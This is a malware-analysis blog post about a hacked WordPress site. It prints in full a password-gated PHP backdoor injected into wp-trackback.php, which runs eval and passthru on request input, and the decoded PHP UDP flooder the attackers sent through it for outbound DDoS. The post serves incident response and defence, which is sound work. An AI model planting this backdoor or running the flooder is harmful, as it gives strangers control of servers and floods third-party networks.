Back to Articles

WordPress PHP Backdoor to DDoS Attacks

By Daniel Cid (@dcid) Posted in: security-research, malware-analysis

Last week we shared how we investigated and restored a hacked WordPress site on a Linode VPS. We compared core files, reviewed logs, and confirmed integrity issues. Here, we focus on the PHP backdoor we found—and how attackers used it to launch outbound DDoS attacks.

In our previous post, a quick diff exposed the modified wp-trackback.php, plus a second payload stashed in wp-includes/assets/.style.php:

# cd /var/www
# wget https://wordpress.org/latest.zip
# unzip latest.zip
# diff -r wordpress/ mysite.com/
Only in mysite.com/: wp-config.php
Only in mysite.com/wp-content: upgrade
Only in mysite.com/wp-content: uploads
Only in mysite.com/wp-includes/assets: .style.php
diff -r wordpress/wp-trackback.php mysite.com/wp-trackback.php
1c1
< <?php
---
> <?php
if(isset($_REQUEST["pw"], $_REQUEST["c"])){if($_REQUEST["pw"]=="PASS"){try{if(isset($_REQUEST["c1"])){eval($_REQUEST["c"]);}else if(isset($_REQUEST["c2"])){header("Content-Type: text/plain");passthru($_REQUEST["c"]);}else{eval(base64_decode($_REQUEST["c"]));}}catch(Exception $e){header("Content-Type: text/plain");var_dump($e);}die();}}

That injected logic enables arbitrary code execution via GET/POST parameters: a backdoor with multiple control paths.

Dissecting the PHP Backdoor

The code expects pw and c (via GET or POST). If the password matches, the attacker can:

Mode Description
PHP eval (c1) Executes the payload directly with eval().
Shell passthru (c2) Executes commands via shell using passthru().
Base64 eval (default) Decodes base64 payload and executes it with eval().

PHP backdoor, beautified for readability

Watching the Attackers

Post-recovery, we deployed request logging to observe follow-up attempts. We monitored calls to wp-trackback.php and .style.php to see if the attacker would try to regain access or resume abuse.

A few hours later, a request arrived from the same IP we saw earlier (95.211.187.223), containing a password and a long base64 payload:

{"c":"ZXJyb3JfcmVwb3J0aW5nKDApO3NldF90aW1lX2xpbWl0KDApOyRzd...GFydD10aW1lKCk7JHRyaD0iMTA0LjI0My40MC4xNzIiOyR0cnA9IjUzIjsk...7fW9iX2ltcGxpY2l0X2ZsdXNoKHRydWUpO3RydF9pbHMoKTs=",
"pw":"PHPBACKDOORPASSWORD\r"}

Backdoor → Outbound DDoS

Decoding revealed a UDP flooder. It accepts three inputs—victim IP ($trh), port ($trp), and duration ($trl)—then spams packets in a loop:

error_reporting(0); set_time_limit(0); $start=time();
$trh="a.b.c.d"; $trp="53"; $trl=(int)"300";
function trt_ils(){
  global $trh,$trp,$trl;
  $stop=time()+$trl;
  $spdat="";
  for($i=0;$i<rand(9999;24999);$i++){ $spdat.=hex2bin(sprintf("%02x",rand(0,255))); }
  $trh2="udp://".$trh;
  while(true){
    if(time()>=$stop) return;
    try{ $fp=@fsockopen($trh2,$trp,$e1,$e2,1); @fwrite($fp,$spdat); @fclose($fp); }catch(Exception $ex){ continue; }
  }
}
trt_ils();

Beautified UDP flooder payload

In this case, the target was port 53 (DNS) on 104.243.0.0/16, which explains why Apache CPU pegged at 100% during our initial triage. A single decent host can generate thousands of packets/sec; at scale (hundreds or thousands of bots), victims quickly see six figures of pps.

Takeaways

  • Integrity matters: Compare core files to vendor baselines during triage (diff -r is your friend).
  • Log everything: Capture request bodies for suspicious endpoints post-incident to learn attacker workflows.
  • Harden PHP: Disable dangerous functions where possible; monitor for eval(), passthru(), and unexpected base64 exec patterns.
  • Edge protection: A WAF can block known backdoor patterns and throttle abuse even when origins are temporarily exposed.

Have an interesting payload you’d like us to analyze? Email support@noc.org.

NOC — Authoritative DNS, CDN & WAF

Accelerate and protect your sites with global DNS, edge caching, and an always-on web application firewall.

See Plans